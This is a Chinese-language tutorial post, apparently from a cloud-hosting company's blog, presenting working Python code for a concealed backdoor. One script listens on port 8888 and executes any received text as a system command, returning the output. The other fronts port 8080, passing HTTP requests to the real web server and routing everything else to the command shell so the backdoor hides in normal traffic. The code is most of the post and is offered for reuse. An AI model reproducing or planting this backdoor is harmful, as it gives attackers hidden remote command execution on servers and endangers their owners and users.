您好,登錄后才能下訂單哦!
思想:
用戶正常瀏覽器訪問請求通過8080端口,請求若為http請求,則正常轉發到80端口保證網站正常運行。否則轉發到8888端口執行系統命令。
8888端口監聽代碼:
#!/usr/bin/env python from socket import * import os HOST='127.0.0.1' PORT=8888 BUFSIZE=1024 ADDR=(HOST,PORT) tcpSerSock = socket(AF_INET,SOCK_STREAM) tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) while True: print("waiting for connection...") tcpCliSock,addr = tcpSerSock.accept() print("...connected from:",addr) while True: data=tcpCliSock.recv(BUFSIZE) if not data: break info = data.split('\n') command = info[0] try: os.system(command + " > command.txt"); file = open('command.txt') data ="" for line in file: data=data+line; tcpCliSock.send(data) except Exception: tcpCliSock.send("Nothing to do") tcpCliSock.close() tcpSerSock.close()
8080端口轉發代碼:
#!/usr/bin/python from socket import * tcp1 = socket(AF_INET,SOCK_STREAM) tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp1.bind(('0.0.0.0',8080)) tcp1.listen(10) BUFFER_SIZE=2048 tcpCliSock,addr = tcp1.accept() while True: data = tcpCliSock.recv(BUFFER_SIZE) if 'HTTP' in data: tcp3 = socket(AF_INET,SOCK_STREAM) tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp3.connect(('127.0.0.1',80)) tcp3.send(data) htmlinfo = tcp3.recv(2048) if not htmlinfo: tcp3.close() else: tcpCliSock.send(htmlinfo) else: tcp2 = socket(AF_INET,SOCK_STREAM) tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp2.connect(('127.0.0.1',8888)) data = data.replace("\n"," ") print data tcp2.send(data) commandinfo = tcp2.recv(1024) tcpCliSock.send(commandinfo) tcp2.close() tcpCliSock.close() tcp1.close()
有些地方還有些小問題等待修正,但是linux下是可以完美運行的。歡迎學習交流。
以上這篇python基于socket進行端口轉發實現后門隱藏的示例就是小編分享給大家的全部內容了,希望能給大家一個參考,也希望大家多多支持億速云。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。